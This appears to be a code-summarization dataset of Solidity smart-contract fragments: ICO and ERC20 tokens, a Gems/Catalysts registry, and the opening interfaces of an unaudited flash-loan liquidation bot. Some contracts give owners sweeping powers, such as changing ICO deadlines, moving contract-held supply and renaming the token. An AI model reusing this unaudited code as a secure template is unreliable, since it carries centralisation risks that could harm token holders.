function transferFrom(address fromAddr, address toAddr, uint256 amountInWei) public returns (bool)
{
if (amountInWei <= 0) return false;
if (allowances[fromAddr][msg.sender] < amountInWei) return false;
if (balances[fromAddr] < amountInWei) return false;
balances[fromAddr] = balances[fromAddr].sub(amountInWei);
balances[toAddr] = balances[toAddr].add(amountInWei);
allowances[fromAddr][msg.sender] = allowances[fromAddr][msg.sender].sub(amountInWei);
emit Transfer(fromAddr, toAddr, amountInWei);
return true;
}
//--------------------------------------------------------------------------
function approve(address spender, uint256 amountInWei) public returns (bool)
{
require((amountInWei == 0) || (allowances[msg.sender][spender] == 0));
allowances[msg.sender][spender] = amountInWei;
emit Approval(msg.sender, spender, amountInWei);
return true;
}
//--------------------------------------------------------------------------
function() public
{
assert(true == false); // If Ether is sent to this address, don't handle it -> send it back.
}
//--------------------------------------------------------------------------
//--------------------------------------------------------------------------
//--------------------------------------------------------------------------
function transferOwnership(address newOwner) public onlyOwner // @param newOwner The address to transfer ownership to.
{
require(newOwner != address(0));
emit onOwnershipTransfered(owner, newOwner);
owner = newOwner;
}
//--------------------------------------------------------------------------
//--------------------------------------------------------------------------
//--------------------------------------------------------------------------
//--------------------------------------------------------------------------
function changeAdminUser(address newAdminAddress) public onlyOwner
{
require(newAdminAddress!=0x0);
emit onAdminUserChange(admin, newAdminAddress);
admin = newAdminAddress;
}
//--------------------------------------------------------------------------
//--------------------------------------------------------------------------
function changeIcoDeadLine(uint256 newIcoDeadline) public onlyAdmin
{
require(newIcoDeadline!=0);
emit onIcoDeadlineChanged(icoDeadLine, newIcoDeadline);
icoDeadLine = newIcoDeadline;
}
//--------------------------------------------------------------------------
//--------------------------------------------------------------------------
//--------------------------------------------------------------------------
function changeHardCap(uint256 newHardCap) public onlyAdmin
{
require(newHardCap!=0);
emit onHardcapChanged(hardCap, newHardCap);
hardCap = newHardCap;
}
//--------------------------------------------------------------------------
function isHardcapReached() public view returns(bool)
{
return (isStoppingIcoOnHardCap && initSupply-balances[owner] > hardCap);
}
//--------------------------------------------------------------------------
//--------------------------------------------------------------------------
//--------------------------------------------------------------------------
function pauseICO() public onlyAdmin
{
isIcoPaused = true;
emit icoIsNowPaused(1);
}
//--------------------------------------------------------------------------
function unpauseICO() public onlyAdmin
{
isIcoPaused = false;
emit icoHasRestarted(0);
}
//--------------------------------------------------------------------------
function isPausedICO() public view returns(bool)
{
return (isIcoPaused) ? true : false;
}
/*--------------------------------------------------------------------------
//
// When ICO is closed, send the remaining (unsold) tokens to address 0x0
// So no one will be able to use it anymore...
// Anyone can check address 0x0, so to proove unsold tokens belong to no one anymore
//
//--------------------------------------------------------------------------*/
function destroyRemainingTokens() public onlyAdmin icoFinished icoNotPaused returns(uint)
{
require(msg.sender==owner && now>icoDeadLine);
address toAddr = 0x0000000000000000000000000000000000000000;
uint256 amountToBurn = balances[owner];
if (amountToBurn > icoReserveSupply)
{
amountToBurn = amountToBurn.sub(icoReserveSupply);
}
balances[owner] = balances[owner].sub(amountToBurn);
balances[toAddr] = balances[toAddr].add(amountToBurn);
emit Transfer(msg.sender, toAddr, amountToBurn);
//Transfer(msg.sender, toAddr, amountToBurn);
return 1;
}
//--------------------------------------------------------------------------
//--------------------------------------------------------------------------
}
////////////////////////////////////////////////////////////////////////////////
contract Token is ERC20
{
using SafeMath for uint256;
using StringLib for string;
//-------------------------------------------------------------------------- Constructor
constructor() public
{
}
//--------------------------------------------------------------------------
//--------------------------------------------------------------------------
//--------------------------------------------------------------------------
} | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | function changeAdminUser(address newAdminAddress) public onlyOwner
{
require(newAdminAddress!=0x0);
emit onAdminUserChange(admin, newAdminAddress);
admin = newAdminAddress;
}
| 5,513,249 |
//SPDX-License-Identifier: MIT
pragma solidity 0.8.2;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-0.8/access/Ownable.sol";
import "./Gem.sol";
import "./Catalyst.sol";
import "./interfaces/IGemsCatalystsRegistry.sol";
import "../common/BaseWithStorage/WithSuperOperators.sol";
import "../common/BaseWithStorage/ERC2771Handler.sol";
/// @notice Contract managing the Gems and Catalysts
/// Each Gems and Catalyst must be registered here.
/// Each new Gem get assigned a new id (starting at 1)
/// Each new Catalyst get assigned a new id (starting at 1)
contract GemsCatalystsRegistry is WithSuperOperators, ERC2771Handler, IGemsCatalystsRegistry, Ownable {
Gem[] internal _gems;
Catalyst[] internal _catalysts;
constructor(address admin, address trustedForwarder) {
_admin = admin;
__ERC2771Handler_initialize(trustedForwarder);
}
/// @notice Returns the values for each gem included in a given asset.
/// @param catalystId The catalyst identifier.
/// @param assetId The asset tokenId.
/// @param events An array of GemEvents. Be aware that only gemEvents from the last CatalystApplied event onwards should be used to populate a query. If gemEvents from multiple CatalystApplied events are included the output values will be incorrect.
/// @return values An array of values for each gem present in the asset.
function getAttributes(
uint16 catalystId,
uint256 assetId,
IAssetAttributesRegistry.GemEvent[] calldata events
) external view override returns (uint32[] memory values) {
Catalyst catalyst = getCatalyst(catalystId);
require(catalyst != Catalyst(address(0)), "CATALYST_DOES_NOT_EXIST");
return catalyst.getAttributes(assetId, events);
}
/// @notice Returns the maximum number of gems for a given catalyst
/// @param catalystId catalyst identifier
function getMaxGems(uint16 catalystId) external view override returns (uint8) {
Catalyst catalyst = getCatalyst(catalystId);
require(catalyst != Catalyst(address(0)), "CATALYST_DOES_NOT_EXIST");
return catalyst.getMaxGems();
}
/// @notice Burns one gem unit from each gem id on behalf of a beneficiary
/// @param from address of the beneficiary to burn on behalf of
/// @param gemIds list of gems to burn one gem from each
/// @param amount amount units to burn
function burnDifferentGems(
address from,
uint16[] calldata gemIds,
uint256 amount
) external override {
for (uint256 i = 0; i < gemIds.length; i++) {
burnGem(from, gemIds[i], amount);
}
}
/// @notice Burns one catalyst unit from each catalyst id on behalf of a beneficiary
/// @param from address of the beneficiary to burn on behalf of
/// @param catalystIds list of catalysts to burn one catalyst from each
/// @param amount amount to burn
function burnDifferentCatalysts(
address from,
uint16[] calldata catalystIds,
uint256 amount
) external override {
for (uint256 i = 0; i < catalystIds.length; i++) {
burnCatalyst(from, catalystIds[i], amount);
}
}
/// @notice Burns few gem units from each gem id on behalf of a beneficiary
/// @param from address of the beneficiary to burn on behalf of
/// @param gemIds list of gems to burn gem units from each
/// @param amounts list of amounts of units to burn
function batchBurnGems(
address from,
uint16[] calldata gemIds,
uint256[] calldata amounts
) public override {
for (uint256 i = 0; i < gemIds.length; i++) {
if (gemIds[i] != 0 && amounts[i] != 0) {
burnGem(from, gemIds[i], amounts[i]);
}
}
}
/// @notice Burns few catalyst units from each catalyst id on behalf of a beneficiary
/// @param from address of the beneficiary to burn on behalf of
/// @param catalystIds list of catalysts to burn catalyst units from each
/// @param amounts list of amounts of units to burn
function batchBurnCatalysts(
address from,
uint16[] calldata catalystIds,
uint256[] calldata amounts
) public override {
for (uint256 i = 0; i < catalystIds.length; i++) {
if (catalystIds[i] != 0 && amounts[i] != 0) {
burnCatalyst(from, catalystIds[i], amounts[i]);
}
}
}
/// @notice Adds both arrays of gems and catalysts to registry
/// @param gems array of gems to be added
/// @param catalysts array of catalysts to be added
function addGemsAndCatalysts(Gem[] calldata gems, Catalyst[] calldata catalysts) external override {
require(_msgSender() == _admin, "NOT_AUTHORIZED");
for (uint256 i = 0; i < gems.length; i++) {
Gem gem = gems[i];
uint16 gemId = gem.gemId();
require(gemId == _gems.length + 1, "GEM_ID_NOT_IN_ORDER");
_gems.push(gem);
}
for (uint256 i = 0; i < catalysts.length; i++) {
Catalyst catalyst = catalysts[i];
uint16 catalystId = catalyst.catalystId();
require(catalystId == _catalysts.length + 1, "CATALYST_ID_NOT_IN_ORDER");
_catalysts.push(catalyst);
}
}
/// @notice Query whether a given gem exists.
/// @param gemId The gem being queried.
/// @return Whether the gem exists.
function doesGemExist(uint16 gemId) external view override returns (bool) {
return getGem(gemId) != Gem(address(0));
}
/// @notice Query whether a giving catalyst exists.
/// @param catalystId The catalyst being queried.
/// @return Whether the catalyst exists.
function doesCatalystExist(uint16 catalystId) external view returns (bool) {
return getCatalyst(catalystId) != Catalyst(address(0));
}
/// @notice Burn a catalyst.
/// @param from The signing address for the tx.
/// @param catalystId The id of the catalyst to burn.
/// @param amount The number of catalyst tokens to burn.
function burnCatalyst(
address from,
uint16 catalystId,
uint256 amount
) public override {
_checkAuthorization(from);
Catalyst catalyst = getCatalyst(catalystId);
require(catalyst != Catalyst(address(0)), "CATALYST_DOES_NOT_EXIST");
catalyst.burnFor(from, amount);
}
/// @notice Burn a gem.
/// @param from The signing address for the tx.
/// @param gemId The id of the gem to burn.
/// @param amount The number of gem tokens to burn.
function burnGem(
address from,
uint16 gemId,
uint256 amount
) public override {
_checkAuthorization(from);
Gem gem = getGem(gemId);
require(gem != Gem(address(0)), "GEM_DOES_NOT_EXIST");
gem.burnFor(from, amount);
}
function getNumberOfCatalystContracts() external view returns (uint256 number) {
number = _catalysts.length;
}
function getNumberOfGemContracts() external view returns (uint256 number) {
number = _gems.length;
}
// //////////////////// INTERNALS ////////////////////
/// @dev Get the catalyst contract corresponding to the id.
/// @param catalystId The catalyst id to use to retrieve the contract.
/// @return The requested Catalyst contract.
function getCatalyst(uint16 catalystId) internal view returns (Catalyst) {
if (catalystId > 0 && catalystId <= _catalysts.length) {
return _catalysts[catalystId - 1];
} else {
return Catalyst(address(0));
}
}
/// @dev Get the gem contract corresponding to the id.
/// @param gemId The gem id to use to retrieve the contract.
/// @return The requested Gem contract.
function getGem(uint16 gemId) internal view returns (Gem) {
if (gemId > 0 && gemId <= _gems.length) {
return _gems[gemId - 1];
} else {
return Gem(address(0));
}
}
/// @dev verify that the caller is authorized for this function call.
/// @param from The original signer of the transaction.
function _checkAuthorization(address from) internal view {
require(_msgSender() == from || isSuperOperator(_msgSender()), "AUTH_ACCESS_DENIED");
}
/// @dev Change the address of the trusted forwarder for meta-TX
/// @param trustedForwarder The new trustedForwarder
function setTrustedForwarder(address trustedForwarder) external onlyOwner {
_trustedForwarder = trustedForwarder;
}
function _msgSender() internal view override(Context, ERC2771Handler) returns (address sender) {
return ERC2771Handler._msgSender();
}
function _msgData() internal view override(Context, ERC2771Handler) returns (bytes calldata) {
return ERC2771Handler._msgData();
}
}
| Burns one gem unit from each gem id on behalf of a beneficiary from address of the beneficiary to burn on behalf of gemIds list of gems to burn one gem from each amount amount units to burn | function burnDifferentGems(
address from,
uint16[] calldata gemIds,
uint256 amount
) external override {
for (uint256 i = 0; i < gemIds.length; i++) {
burnGem(from, gemIds[i], amount);
}
}
| 12,732,690 |
./full_match/73799/0xb5fF083230fa8f6241Bc17F5ca8cc1D3FB3fDBD7/sources/contracts/libraries/LibIssuer.sol | Get a specific green proof certificate certificateID ID of the certificate volumeInWei volume of the certificate in wei/ | function getCertificate(uint256 certificateID, uint256 volumeInWei) internal view returns (IProofIssuer.Certificate memory) {
IssuerStorage storage issuer = getStorage();
return
IProofIssuer.Certificate({
isRevoked: issuer.certificates[certificateID].isRevoked,
certificateID: issuer.certificates[certificateID].certificateID,
issuanceDate: issuer.certificates[certificateID].issuanceDate,
volume: volumeInWei,
merkleRootHash: issuer.certificates[certificateID].merkleRootHash,
generator: issuer.certificates[certificateID].generator
});
}
| 16,362,085 |
./partial_match/1/0x5276F261559bA24a730affa99836C642381684cA/sources/YearnGovernance.sol | Fee collection for any other token / | function seize(IERC20 _token, uint amount) external {
require(msg.sender == governance, "!governance");
require(_token != feesPaidIn, "feesPaidIn");
require(_token != yfi3, "yfi3");
require(_token != bpt, "bpt");
_token.safeTransfer(governance, amount);
}
bool public breaker = false;
| 3,683,430 |
./partial_match/80001/0x7C682dd6E5d569C2e38EA148032098B839B11c9F/sources/contracts/base/AlgebraPoolBase.sol | Gets the parameter values for creating the pool. They are not passed in the constructor to make it easier to use create2 opcode Can be overridden in tests | function _getDeployParameters() internal virtual returns (address, address, address, address, address) {
return IAlgebraPoolDeployer(msg.sender).getDeployParameters();
}
| 8,801,249 |
/**
*Submitted for verification at Etherscan.io on 2021-02-26
*/
pragma solidity ^0.6.0;
//SafeMath
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//Roles
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
//context
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
* Created by Davis Mathew @ Shamlatech
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//ERC20Detailed
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed {
string public _name;
string public _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
//ERC20
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context{
using SafeMath for uint256;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The address which you want to send tokens from
* @param value uint256 The amount of token to be burned
*/
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
emit Mint(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
emit Burn(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
event Mint(address indexed owner, address indexed spender, uint256 value);
event Burn(address indexed owner, address indexed spender, uint256 value);
}
//MinterRole
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor() public {
minters.add(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
minters.add(account);
emit MinterAdded(account);
}
function renounceMinter() public {
minters.remove(msg.sender);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}
//ERC20Mintable
/**
* @title ERC20Mintable
* @dev ERC20 minting logic
*/
contract ERC20Mintable is ERC20, MinterRole {
event MintingFinished();
bool private _mintingFinished = false;
modifier onlyBeforeMintingFinished() {
require(!_mintingFinished);
_;
}
/**
* @return true if the minting is finished.
*/
function mintingFinished() public view returns(bool) {
return _mintingFinished;
}
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address to,
uint256 amount
)
public
onlyMinter
onlyBeforeMintingFinished
returns (bool)
{
_mint(to, amount);
return true;
}
}
//Ownable
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//PZR
contract PZR is ERC20,ERC20Detailed,ERC20Mintable,Ownable{
constructor(
uint256 maximumcoin,
string memory name,
string memory symbol,
uint8 decimals
)public ERC20Detailed(name, symbol, decimals){
_totalSupply = _balances[address(this)] = maximumcoin;
}
function admintransfer(uint256 amount, address recipient) public returns (uint256) {
require(msg.sender == _owner, "ERC20: Only owner can transfer from contract");
require(amount < _balances[address(this)], "ERC20: Only less than total contract balance");
_transfer(address(this), recipient, amount);
return(_balances[recipient]);
}
function changeName(string memory _newName, string memory _newSymbol) public onlyOwner {
_name = _newName;
_symbol = _newSymbol;
}
} | Destroys `amount` tokens from `account`, reducing the total supply. Emits a {Transfer} event with `to` set to the zero address. Requirements - `account` cannot be the zero address. - `account` must have at least `amount` tokens./ | function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
emit Burn(account, address(0), amount);
}
| 2,354,098 |
// SPDX-License-Identifier: MIT
// Created by 0xce16989f81D7dC03F8826ADE02108aFe9160cc54
//Built for educational purposes. Not audited. Use at your own risk.
// Need help? [email protected]
pragma solidity >= 0.6.6;
interface bzxRead {
function getLoan(bytes32 loanId) external view returns(bytes32 loanId1, uint96 endTimestamp, address loanToken, address collateralToken, uint256 principal, uint256 collateral, uint256 interestOwedPerDay, uint256 interestDepositRemaining, uint256 startRate, uint256 startMargin, uint256 maintenanceMargin, uint256 currentMargin, uint256 maxLoanTerm, uint256 maxLiquidatable, uint256 maxSeizable);
}
interface bzxWrite {
function liquidate(bytes32 loanId, address receiver, uint256 closeAmount) payable external;
}
interface UniswapV2 {
function addLiquidity(address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline) external returns(uint256 amountA, uint256 amountB, uint256 liquidity);
function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external returns(uint256 amountToken, uint256 amountETH, uint256 liquidity);
function removeLiquidityETH(address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external returns(uint256 amountToken, uint256 amountETH);
function removeLiquidity(address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline) external returns(uint256 amountA, uint256 amountB);
function swapExactETHForTokens(uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external returns(uint256[] memory amounts);
function swapExactTokensForTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external returns(uint256[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns(uint[] memory amounts);
}
interface FlashLoanInterface {
function flashLoan(address _receiver, address _reserve, uint256 _amount, bytes calldata _params) external;
}
interface ERC20 {
function totalSupply() external view returns(uint supply);
